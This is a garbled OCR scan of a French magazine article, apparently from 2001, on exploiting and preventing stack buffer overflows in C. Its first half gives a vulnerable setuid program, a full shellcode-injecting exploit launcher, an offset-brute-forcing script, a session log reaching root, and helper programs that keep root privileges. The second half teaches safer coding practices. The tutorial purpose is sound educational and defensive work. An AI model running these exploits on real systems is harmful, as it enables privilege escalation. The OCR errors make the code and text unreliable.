Eviter lesfaillesde séauritédesle
developpement d'une application
3¢ Partie*

Cet article termine de présenter les débordements de buffer. Nous montrerons qu'il s'agit d'une faille
assez simple a exploiter. Ensuite, nous décrirons les précautions a prendre pour les éviter.

Débordements de buffer

Dans notre précélent article, nous avons donc obtenu un
fragment de programme tenant en une cinquantaine
d'octets, capable de faire démarrer un shell ou de se
terminer en cas d'édchec Il nous faut a présent arriver a
insérer ce mde au sein de I'applicaion que nous voulons
attaquer. Cela seffectue en éadasant l'adrese de retour
d'une fonction pour la remplacer par l'adresse de notre
shellcode, ce qui se produit en forcant le débordement
d'une variable automatique (allouée dans la pile du
procesaus - également appel éevariable statique).

Par exemple, dans le programme suivant, nous reapions
dans un buffer de 500 octets la chaine de caactéres pas€e
en premier argument sur la ligne de cmmande. Cette
copie seffectue sans vérifier que lataille du buffer ne soit
pas dépasse Comme nous le verrons plus tard, il aurait
simplement fallu employer la fonction strncpy( ) pour
éviter ceprobléme.

/* vulnerable.c */

#include <  string.h>
int main(  int

{
char buffer [500];

argc, char * argv [])

if ( argc 1)
strcpy(buffer, argv[1]);
return (0);
}
buffer est une variable automatique, I'espace occupé par

les 500 octets est réservé dans la pile dés I'entrée dans la
fonction main() . Lors de I'exéaition du programme
vulnerable avec un argument long de plus de
500 caractéres, les données débordent du huffer, et
envahisent la pile du processus. Comme nous |'avons vu
précéemment, la pile contient I'adresse de la prochaine
instruction a exéauter (appelée ommunément adresse de

retour). Pour exploiter cete faill e de séaurité, il suffit de
remplacer I'adresse de retour de la fonction par I'adresse ou
se situe le shellcode que nous voulons exéaiter. Ce
shellcode est inséré dansle corps méme du buffer, suivi de
I'adresse quil occupera en mémoire.

Position en mémoire

Obtenir l'adrese mémoire du shellcode mnstitue une
opération ddlicate. Nous devons découvrir le déclage
existant entre le registre %esp, qui pointe sur le sommet
de la pile, et I'adresse du shellcode. De fagcon a disposer
d'une cetaine marge, le début du buffer est rempli avec
I'ingruction assembleur NCP ; il sagit d'une ingruction
neutre wdéesur un octet, n'ayant strictement aucun effet.
Aing, lorsque I'adresse de départ pointe en decadu début
réd du shellcode, le processeur passera de NP en NQP
jusgua ateindre dfedivement notre ade. Pour optimiser
nos chances, nous placons le shellcode au milieu du
buffer, suivi de I'adrese de démarrage répétée jusgua la
fin, et précélé d'un bloc de NORP
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Shellcode
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* Cet article est paru dansle numéro 25 de Linux Magazine France, au mois de janvier 2001.



Toutefoisil existe un autre probléme li é a l'alignement des
variables dans la pile. En effet, une adrese édant stockée
sur pluseurs octets, I'dignement au sein de la pile ne
convient pas toujours. Cet inconvénient se résout en
"tdtonnant" sur l'alignement a utiliser. Comme notre
processeur utilise desmots de 4 octets, I'ali gnement vaut O,
1, 2 ou 3 cctet(s) (vair l'article 2 sur I'organisation de la
pil e pour de plus amples détails). Sur lafigure suivante, les
parties grisées correspondent aux 4 octets éaits. Seul le
premier cas, ol l'adrese de retour est complétement
éaasée fonctionne. Les autres conduisent a des erreurs
type segmentation violation ou illegal
instruction . Cedtte recherche empirique fonctionne
parfaitement car la puissance des ordinateurs actuels nous
autorise afaire ces tests peu colteux.
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Programme de lancement

Nous alons éaire un petit proggamme qui lance une
application vulnérable e lui transmettant un buffer qui
fera déborder 1a pile. Ce programme dispose de plusieurs
options pour cadrer la position du shellcode en mémoire,
choisir le programme a exéauter. Cette version, inspiréede
I'article d'Aleph One dans le numéro 49 du magazine
phrack, est disponible sur le site de Christophe Grenier.

Comment passr notre buffer aing préparé a I'application
visée ? Classquement, il sagit d'un paramétre en ligne de
commande omme dans le cas de vulnerable. ¢ ou
d'une variable d'environnement. Le dépasement a parfois
lieu a partir de lignes sisies par I'utilisateur, ce qui est
plus difficile a automatiser, ou de données lues dans un
fichier.

Le programme generic_exploit. Cc commence par
alouer le buffer de lataille désirég y copie le shellcode &
asaure le remplissage déait plus haut avec les adresss et
les codes NOP. Ensuite il prépare un tableau darguments
et lance l'application cible en uilisant [l'ingtruction
execve() qu remplace le processus courant par ceui
invoqué. Les paramétres de generic_exploit sont la
taille du buffer a exploiter (un peu plus que sa taille pour
éqaser l'adrese de retour), l'offsst en mémoaire,
I'dignement. On indique s on pass le buffer via une
variable d'environnement (var ) ou en ligne de mmmande
(novar ). L'argument force/noforce permet |'appel
ou non a la fonction setuid()/  setgid( ) dans le
shell code.

[*  generic_exploit.c */

#include <  stdio.h>

#include <  stdlib.h>
#include <  unistd.h>
#include <  sys/stat.h>
#define NOP 0x90

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\xff\x31\xcO\x88\x46\xf\x89
\x46\xf\xb0\x0b"

"\x89\xf3\x8d\x4e\xfix8d\x56\xffixcd\x80\x31\xdb
\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xf\xfAxff";

unsigned long get_sp( void)

{
}

#define A_BSIZE
#define A_OFFSET
#define A_ALIGN
#define A_VAR
#define A_FORCE
#define A_PROG2RUN
#define A_TARGET
#define A_ARG

__asm__(" movl % esp,%eax");

O~NO O WNPE

intmain(int argc, char * argv[])

{
char * buff,* ptr;
char ** args;
long addr;
int offset, bsize;
int ij,n;
struct stat stat_struct;
int align;
if( argc < A_ARG){
printf("USAGE: %s bsize offset align (var /
novar) ( force/noforce) prog2run target param\n”,
argv[0]);
return -1;
}
if(stat( argv[A_TARGET],& stat_struct)){
printf("\ nCannot stat %  s\n",
argv[A_TARGET]);
return 1;
}
bsize = atoi( argv[A_BSIZE]);
offset = atoi( argv[A_OFFSET]);
align = atoi( argv[A_ALIGN]);
if(!(  buff = malloc( bsize))){
printf(" Can't allocate memory.\n");
exit(0);
}
addr = get_sp() + offset;
printf(" bsize  %d, offset %\n", bsize,
offset);
printf(" Using address: 0Ix%Ix\n", addr);
for(i = 0; i < bsize; i+=4)
*(long*)(&  bufffi]+ align) = addr;
for(i = 0; i < bsize/2; i++) buff[i] = NOP;
ptr =  buff + ((bsize/2) - strlen( shellcode) -

strlen(  argv[4]));
if( stremp( argv[A_FORCE],"force")==0){
if(S_ISUID&stat_struct.st_mode){
printf(" uid % d\n", stat_struct.st_uid);
*( ptr++)= 0x31; /¥ xorl % eax,%eax */
*( ptr++)= 0xcO;



*( ptr++)= 0x31; /¥ xorl % ebx,%ebx */
*( ptr++)= Oxdb;
if(stat_struct.st_uid & OXFF){

*( ptr++)= 0xb3;/* movb $0x??,%bl */

*( ptr++)= stat_struct.st_uid;

}

if(stat_struct.st_uid & OXFFOO){
*( ptr++)= 0xb7;/* movb $0x??,%bh */
*( ptr++)= stat_struct.st_uid;

}

*( ptr++)= 0xb0; I*
*( ptr++)= 0x17;

*( ptr++)= Oxcd,; I*
*( ptr++)= 0x80;

movb $0x17,%al */

int $0x80 */

}
if(S_ISGID&stat_struct.st_mode){

printf(" gid % d\n", stat_struct.st_gid);

*( ptr++)= 0x31; /¥ xorl % eax,%eax */
*( ptr++)= 0xcO;

*( ptr++)= 0x31; /¥ xorl % ebx,%ebx */

*( ptr++)= Oxdb;

if(stat_struct.st_gid & OXFF){
*( ptr++)= 0xb3;/* movb $0x??,%bl */
*( ptr++)= stat_struct.st_gid;

}

if(stat_struct.st_gid & OXFFO0){
*( ptr++)= 0xb7;/* movb $0x??,%bh */
*( ptr++)= stat_struct.st_gid;

}

*( ptr++)= 0xb0; I*
*( ptr++)= 0x2e;

*( ptr++)= Oxcd,; I*
*( ptr++)= 0x80;

movb $0x2e,%al */

int $0x80 */

}
}
[* Patch shellcode */
n=strlen(  argv[A_PROG2RUN]);
shellcode[13] = shellcode[23] = n + 5;
shellcode[5] = shellcode[20] = n + 1;

shellcode[10] = n;

for(i = 0; i < strlen( shellcode); i++)

*( ptr++) = shellcodeli];
[* Copy prog2run */
printf(" Shellcode will start % s\n",

argv[A_PROG2RUN]);

memcpy( ptr,argv[A_PROG2RUN],strlen( argv[A_PROG2RU

buff[ bsize - 1] = "\0';

args = (char**)malloc(
A_TARGET + 3));

sizeof(char*) * ( argc -

j=0;
for(i= A_TARGET; i< arge; i++)
args[j++] = argVvli];

if( stremp( argv[A_VAR],"
args[j++]=  buff;
args[j++]=NULL;
return execve(

} else{
setenv( argv[A_VAR],buff,1);
args[j++]=NULL;
return  execv( args[O],

novar")==0) {

args[0], args,NULL);

args);

}

Pour tirer profit de vulnerable. ¢, nous devons
disposer dun buffer plus grand que ceui prévu par
I'application. Nous choisisons par exemple 600 octets au
lieu des 500 prévus. La redcherche du décalage par rapport
au sommet de la pile se fait par essis successfs.
L'adrese, congruite par linsgtruction addr =

get_sp() + offset; et dont le but est d'écraser
I'adresse du retour, est obtenue... par chance ! L'opération
effeduée repose sur I'heuristique que le registre %esp ne

bougera pas trop entre le processus courant et cdui appeé
en fin de proggamme. En pratique, rien n'est moins gir :
plusieurs événements peuvent venir modifier I'éat de la
pil e entrele moment ot ce @lcul est effedué d cdui ou le
progamme a eploiter est appelé. Ici, nous Kmmes
arrivés a dédencher un débordement exploitable avec un
offset de -1900 octets. Naturelement pour que
I'expérience soit compléte, la dblevulnerable  doit ére
Set-UID roct.

$ cc vulnerable.c -0

$ cc generic_exploit.c -0
$su

Password:

# chown root.root vulnerable
#chmod u+s vulnerable

# exit

$ls -l vulnerable

- rws--x--x 1 root root
15:50 vulnerable

$ ./ generic_exploit 600 -1900 0O
Ibin/sh ./ vulnerable

bsize 600, offset -1900

Using address: Olxbffffe54
Shellcode  will  start /bin/sh
bash# id

uid=1000( raynal)
groups=100( users)
bash# exit

$ ./ generic_exploit 600 -1900 0
Ibin/sh / tmp/vulnerable

bsize 600, offset -1900

Using address: Olxbffffe64

vulnerable
generic_exploit

11732 Dec 5

novar noforce

gid=100( users) euid=0(root)

novar force

uid 0

Shellcode  will  start /bin/sh

bash# id

uid=0(root) gid=100( users) groups=100( users)
bash# exit

Dans le premier cas (noforce ), notre ui d ne change
pas. En revanche, nous disposons d'un nouvel euid qui
nous confére tous les droits. Ainsi, méme s en éditant le
fichier /etc/passwd  avecvi , ce dernier affirme qu'il
est en ledure seule, toutes les modifications fonctionnent
trés bien : il faut juste forcer la sauvegarde avecw! :) Le
paramétre forc e pemet davoir dés le début
uid=euid=0

Pour rechercher automatiquement les valeurs de décalage
assurant un débardement, I'utili sation dun petit script shell
rend les choses encore plus faciles :

#! /bin/sh
# cherche_exploit.sh
BUFFER=600
OFFSET=$BUFFER
OFFSET_MAX=2000
while [ $OFFSET - It SOFFSET_MAX ] ; do
echo "Offset = $OFFSET"
. generic_exploit $BUFFER $OFFSET 0
force /bin/sh ./ vulnerable
OFFSET=$(($OFFSET + 4))
done

novar

Dans notre eploitation, nous ne nous LMMES pas
préoccupés des probémes potentiels daignement. |l est
donc tout afait possble que cé exemple ne fonctionne pas
avec les mémes valeurs chez vous, voire pas du tout a
cause de I'alignement. Pour ceux qui veulent quand méme
essyer, il faut changer le paramétre daignement a1, 2 au



3 (ici, 0). Certains systémes ne supportent pas I'éaiture sur
des zones de mémoires qui ne @rrespondent pas a un mot
complet, mais ce probléme n'existe pas sous Linux :)

Problémes de shell(s)
Malheureusement, il arrive que le shell obtenu soit
inutili sable ca il se termine tout seul ou dés I'appue sur

une touche. Un moyen, a peine déourné, permet de
conserver ces privil éges g laborieusement acquis.

[* set_run_shell.c */

#include < unistd.h>

#include <  sys/stat.h>

int main()
chown (*/  tmp/run_shell", geteuid(), geteqid());
chmod (*/  tmp/run_shell", 06755);
return O;

}

Puisgue notre exploit ne peut exéauter qu'une seule chose
a la fois, nous allons transférer, a I'aide du programme
set_run_shell , les droits obtenus sir le programme
run_shell . Cedernier nous offrira dorsle shell espéré.

/¥ run_shell.c */

#include <  stdio.h>
#include <  stdlib.h>
#include < unistd.h>
#include <  sys/types.h>
#include <  sys/stat.h>
int main()
{
setuid(  geteuid());
setgid(  getegid());
execl("/tmp/shell","shell","-i",0);
exit (0);

}

L'option - i correspond a interacti f . Pourquoi ne pas
donner diredement les droits a un shell ? Tout simplement
parceque le bit s n'est pas effectif sur tous les shells. Les
versions récentes vérifient que I'uid est bien égale al'euid,
idem pour gid et egid. Aing bash 2 et tcs h incorporent
cette ligne de défense mais ni bash, ni ash nen
disposent. Cette méthode doit étre raffinéedans le s ou
la partition sur laguelle run_shel | (ici, /tmp ) est
montéeen nosui d ou noexec .

Prévention

Disposant d'un programme Set-UID contenant un bogue
de débordement de buffer, ains que de son code source
nous mmes donc capables de préparer une attaque
permettant d'exéauter n'importe quel code abitraire sous
I'identité du propriétaire du fichier. Notre propos toutefois
vise & d'éviter les falles de séarité. Nous alons donc
examiner quelques regles a respeder pour échapper aux
débordements de buffer.

Vérifier les indices

La premiére regle a respeder reléve smplement d'une
guestion de bon sens: il est indispensable de toujours
vérifier avec soin les indices utilisés pour manipuler un
tableau. Un balayage maladroit du type:

for i=0;i<=n;i++){
table [i] = ...
contient probablement une erreur a @use du signe <= au
lieu de < car un acces a lieu a un emplacement situé aprés
la fin de la table. S la vérification est aisée lors d'un
parcours dans ce sens, le balayage des indices dans I'ordre
déaoissant nécesste une atention plus soutenue pour étre
sOr de ne pas dépassr zéo "par en-desus'. Hormis les
castriviaux de parcours for(i=0; i<n; i++) il est
indispensable de vérifier a plusieursreprises (voire de faire
vé&ifier par quelguun dautre) l'algorithme employé,
surtout al'approche des extrémités del'intervall e parcouru.

Le méme type de probléme se pose avec les chaines de
caractéres, pour lesguellesil faut toujours penser a dlouer
un octet suppdémentaire pour le caactére nul final. Son
oubli congtitue I'un des bogues les plus fréquemment
rencontrés par les débutants, et difficile a diagnostiquer
puisquil peut passer longuement inapercu en raison de
I'ali gnement des variables.

Il ne faut pas us-estimer le réle des indices d'un tableau
dans la séaurité d'une gplication. On a montré (voir
Phrack numéo 55) quun seul octet de débordement
pouvait suffire pour crée unefaill e de séaurité, en insérant
le shellcode dans une variable denvironnement par
exemple.

#define TAILLE_BUFFER 128
void foo( void) {

char buffer[TAILLE_BUFFER+1];

[* fin de chaine */
buffer[TAILLE_BUFFER] = "\0;

for (i=0;
buffer[i] = ...
}

i<TAILLE_BUFFER; i++)

Utiliser les fonctions en n

Par convention, les fonctions de la bibli othéque C standard
recnnaisent la fin de la chaine de caactéres grace a un
octet nul. Par exemplelafonction strcpy(3 ) copie dans
une chaine de destination le mntenu de la chaine originae
jusgua ce octet nul compris. Dans certaines circonstances,
ce comportement devient dangereux ; nous avons vu que
le ade suivant présente unefaille de séaurité :



#define LG_IDENT 128

int fonction ( const char * nom)

char identite [LG_IDENT];
strepy (- identite, nom);

}

Pour éviter ce genre de problémes, il existe des fonctions
dont la portée et limitée @ longueur. Ces fonctions
contiennent un "n' au milieu de leur nom, par exemple

strncpy(3) en remplacement de strcpy(3)
strncat(3) de strcat(3) ou méme strnlen(3 )
de strlen(3)

La limitation imposée par strncpy(3 ) a toutefois des
effets de bord auxquels il faut prendre garde: lorsque la
chaine source et plus courte que la destination, cette
derniére sera ommplétée par des caractéres nuls jusgua la
limite n, ce qui pénalise un peu l'application en terme de
performances. A l'inverse, s la source et pluslongue, ele
sera tronquée pour remplir la destination mais cete
derniére chaine ne sera pas terminée par un caractére nul.
Il est donc indispensable de I'ajouter manuellement. La
routine précélente réécite en respedant ced devient
aors:

#define LG_IDENT 128

int fonction ( const char * nom)

char identite [LG_IDENT+1];
strncpy ( identite, nom, LG_IDENT);
identite [LG_IDENT] = "\0";

-

Naturdllement, les mémes principes sappliquent aux
routines manipulant des caractéres larges, en préférant par
exemple wesncpy(3) awcscpy(3 ) ou wesncat(3)
a wescat(3 ). Le proggamme sallonge cetes un pey,
mais la séaurité saccroit également.

Tout comme strcpy() , strcat(3 ) ne vérifie pas la
taille des buffers. La fonction strncat(3 ) ajoute dle-
méme un caactére de fin de chaine s éle dispose de la

place nécessaire. Le remplacement de
strcat(bufferl, buffer2); par
strncat(bufferl, buffer2,

sizeof(bufferl)-1); suffit & élimer lesrisgues.

La fonction sprintf( ) permet de recpier des données
formatées dans une chaine. Elle aiss dispose d'une
version pemettant de ntréler le nombre doctets a
copier : snprintf( ) . Cette fonction renvoie le nombre
de aractéres écrits dans la chaine destinataire (sans
comptabili ser le \0"). Tester cette valeur de retour permet
donc de savoir s I'écriture sest déroulée orredement :

if ( snprintf(dst,
sizeof(dst) - 1) {
/* Débordement */

,

Bien évidemment, ces précautions ne valent plus rien dés
gue I'utili sateur oltient le contrdle sur le nombre d'octets a
copier. Une telle falle dans BIND (Berkeley Internet
Name Daemon) fut al'origine de nombreux piratages :

sizeof(dst) - 1, "%s", Src)

struct  hosten* hp;
unsigned long adresse;

[* copie d'une adresse */
memcpy(&adresse,
h_length);

hp-h_addr_list[0], hp-

Normalement, ced devrait toujours copier 4 octets.
Cependant, sil est possble de modifier hp-h_lengt h,
alors la pile devient a son tor modifiable. Il est donc
indispensable de vérifier lalongueur des données avant de
copier :

struct  hosten* hp;
unsigned long adresse;

[* test */
if ( hp-h_length
return O;

sizeof(adresse))

[* copie d'une adresse */
memcpy(&adresse,
h_length);

hp-h_addr_list[0], hp-

Certaines circonstances n'autorisent toutefois pas cete
troncature (chemin daccés, nom d'héte, URL, ...) et des
mesures doivent dors étre prisess en amont dans le
programme dés |la saisie des données.

Valider les saisies en deux temps

L'attitude défensive a aopter dans un programme qui
sexéaute avec des priviléges différents de ceux de son
utilisateur impose de @nsidérer toute donnée en entrée
comme a priori suspede.

Tout dabord cda mncerne les routines de saisie de chalne
de aracteres. Avec ce qui précdle, il est inutile de
sappesantir sur le fait gquil ne faut jamais utiliser
gets(char * chaine) pusquele ne vé&ifie pas la
longueur de la chaine saisie (note des auteurs : il serait bon
gue cdte routine soit totalement interdite par I'éditeur de
liens pour les programmes nouvellement compil &s). 1l
existe des dangers plus insidieux se dissmulant dans les
saisiesavecscanf() . Laligne



scanf ("%s", chaine)

par exemple @mporte autant de risques que gets(char
*chaine) , mais sute moins yeux. Toutefois, les
fonctionsde lafamille de scanf( ) offrent un méanisme
de ontrdle sur lataille des données :

char buffer[256];
scanf("%255s", buffer);

Le formatage limite le nombre de caactére recpié dans
buffer a255. Par ailleurs, scanf( ) rénjedant dansle
flux dentrée les caactéres ne lui convenant pas (par
exemple une lettre dors quil atend un chiffre), lesrisques
d'erreurs de programmation engendrant des blocages ont
relativement édevés.

En C++, le flux cin remplace les fonctions classques
utilisées en C (bien que cdles-ci restent utilisables). Le
programme suivant remplit un buffer ;

char buffer[500];
cinbuffer;

Comme vous le onstatez, aucun test n'est rédisé ! Nous
sommes ici dans une situation similaire a I'utili sation de
gets(char *  chaine) en C : une porte est grande
ouverte. La fonction membre ios::width() permet de
fixer lenombre maximal de caactérealire.

La ledure des données nécesste deux étapes. Une
premiére phase mnsiste aréaupérer la chaine de caactéres
a l'aide de fgets(char * chaine, inttaille,

FILE stream) , qui limite lataille de la zone mémoaire
employée. Dans un second temps, les données lues ont
traitées, avecsscanf()  par exemple. La premiére phase
peut également contenir d'autres opérations, comme
encadrer fgets(char * chaine, int taille,

FILE stream) avec une boucle alouant
automatiquement la mémoire nécessaire, sans imposer de
limite abitraire. L'extension Gnu getline() rédise
cdte opération. Cette phase peut auss inclure une
validation des caacteres sisis, avec isalnum()
isprint() , etc. Lafonction strspn( ) permet la mise
en place de filtres efficaces et variés (cf. juste apres ...
normalement). Le programme perd un peu en rapidité de
traitement, mais les parties les plus ensibles du code sont
ains protégées par un excdlent gil et pare-ball es contre les
donnéss litigieuses en entrée

Les sisies diredes de données ne sont pas les suls points
d'entrée susceptibles d'ére attaqués. Les fichiers de
données manipulés par le logicid sont naturellement
vulnérables, mais le code écit pour leur ledure et
généralement plus robuste que pour les saisies, les
programmeurs ayant souvent une méfiance intuitive vis-a-
vis du contenu des fichiers fournis par |'utili sateur.

Il existe auss un autre point dappui fréquemment
employé par les attaques de débardement de buffer : les
chaines d'environnement. Il ne faut pas oublier quun
programmeur peut configurer totalement I'environnement

d'un processus avant de le lancer. Les conventions qui
veulent qu'une chaine d'environnement soit toujours du
type "NOM=VALEURnN'ont aucune valeur face & un
utilissteur ma intentionné. L'utilisation de la routine
getenv() nécesste quelques précutions, notamment en
ce qui concene la longweur de la chaine renvoyée
(arbitrairement longue), et son contenu (ou l'on peut
rencontrer n'importe quel caactére y compris '='). La
chaine renvoyée par getenv( ) seratraitée omme cdle
fournie par fgets(char * chaine, int taille,

FILE stream) , en survellant sa longueur et en la
validant caractére par caractére.

La mise en place de tels filtres fonctionne encore une fois
comme l'accés a un ordinateur : par défaut, il faut tout
interdire ! Ensuite, certaines autorisations ont délivrées:

#define GOOD " abcdefghijkimnopgrstuvwxyz\
ABCDEFGHIJKLMNOPQRSTUVWXYZ\

1234567890_"
char* my_getenv(char *var)
char *data, * ptr

/* Récupération des données */
data = getenv(var);

[* Filtrage
Rem : il faut bien sur que le caractere de
remplacemement soit dans la liste des
caracteres autorisés !l

*/

for ( ptr = data; *(
*ptr="_"

ptr+=  strspn(  ptr, GOOD));)

return data;

}

La fonction strspn( ) facilite cet : elle recherche le
premier caractére qui n'est pas contenu dans |'ensemble
spédfié. Elle retoune la longueur de la diaine
(commengant en position 0) contenant uniquement des
caractéres valides. Il ne faut absolument jamais utiliser,
dans cedte optique, la contraposée de cdte fonction,
strcspn |, car la démarche revient alors a spédfier les
caractéres interdits puis a sassurer qu'aucun n'est présent
danslasaise.

Utiliser des buffers dynamiques

Le principe du débordement de buffer repose sur
I'éaasement du contenu de la pile de maniére a modifier
I'adresse de retour d'une fonction. L'attaque porte sur des
données automatiques, allouées uniquement dans la pile.
Une maniére de déplacer ce probléme et de remplacer
systématiquement les tables de caactéres dlouées dans la
pil e par des variables dynamiques £ trouvant dans le tas.
Pour cda on remplaceles squences



#define LG_CHAINE 128
int fonction (...)

char chaine [LG_CHAINE];

return (

}
par :

resultat);

#define LG_CHAINE 128
int fonction (...)

char* chaine = NULL;

if (( chaine = malloc (LG_CHAINE)) == NULL)
return (-1);

memset(chaine,\0',LG_CHAINE);

[-]

free (
return (

}

Ces lignes aurchargent le mde de maniére importante d
induisent des risques de fuite de mémoire, mais il faut
profiter de ces modifications pour revoir quelque peu la
conception en évitant dimposer des limites arbitraires de
longueur. Notons quil ne faut pas simaginer obtenir le
méme résultat de maniére plus simple avec la fonction
alloca() . Celleci aloue ses données dans la pile du
procesaus, ce qui hous raméne au méme probléme quavec
les variables automatiques. Le fait dinitialiser la mémoire
a Zo avec memset() permet déviter quelques
problémes relatifs a I'utilisstion de variables non
initialisées. La encore, cda ne corrige pas le probléme, on
rend ssimplement I'exploitation moins triviale. Pour ceux
qui veulent poursuivre sur le sujet, ils peuvent consulter
I'article sur les Heap Overflows de wOOwOO.

chaine);
resultat);

Enfin, signaons quand méme quil est posshle dans
certaines circonstances de supprimer rapidement une faille
de séaurité avec un minimum de modifications en ajoutant
lemot cléstati ¢ devant ladédaration dubuffer. Celui-
Ci seretrouve alors dloué dans le segment de données loin
de lapile du procesaus. |l devient imposshble d'obtenir un
shell maisle probléme de DoS demeure. Bien entendu ced
ne fonctionne pas s la routine est appel ée réaursivement.
Il faut considérer ce reméde mme un pdliatif
temporaire, servant juste a é@miner dans |'urgence une
faill e de seaurité en intervenant au minimum sur le cde.

Conclusion

Nous espérons que cé apercu dune technique de buffer
overflow vous incitera a programmer de maniére plus
séariste S la technique dexploitation nécesste une
bonne mmpréhension des mécanismes qui interviennent,
le principe général reste relativement abordable. En
revanche, la mise en oeuvre de mesures préventives ne
revét aucune difficulté particuliére. N'oubliez pas, il est
plus rapide de blinder un programme dés s @nception
gua posteriori. Nous vérifierons encore ce principe dans
notre prochain article qui traitera des bugs de format.
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